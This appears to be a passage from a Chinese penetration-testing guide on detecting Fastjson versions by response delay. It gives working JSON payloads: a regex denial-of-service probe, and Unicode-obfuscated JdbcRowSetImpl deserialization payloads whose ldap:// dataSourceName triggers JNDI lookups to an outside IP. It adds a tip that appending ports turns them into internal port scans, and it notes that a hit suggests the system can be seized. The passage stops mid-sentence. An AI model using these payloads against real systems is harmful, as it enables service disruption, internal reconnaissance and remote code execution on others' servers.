我又拿demo测试了下,发现符合结论:
2.3 延迟判断法2.3.1 浅蓝正则ddos探测法:1.2.36<=version<=1.2.63_noneautotypepayload25:
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z] (([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaa!"}
该payload慎用,可能会影响业务系统,实战中应当逐步加a,不要一上来就输入一堆a。有延迟,说明版本处于1.2.36和1.2.63_noneautotype之间。尽管需要慎用,但是该payload的魅力还是很大的,一旦成功说明该系统很有可能可以拿下该系统权限。
2.3.2 jndi请求延迟探测法Tips:可以在ldap://ip后面加上端口,这样就可以探测内外端口开放情况了,类似ssrf。
2.3.2.1 判断1.2.4<=version<=1.2.47payload26(组合拳):
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://1.2.3.4/test111","autoCommit":true}}
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1/test111","autoCommit":true}}
先用第一个,再用第二个,如果第一个响应时间很长,而第二个较短,则说明版本: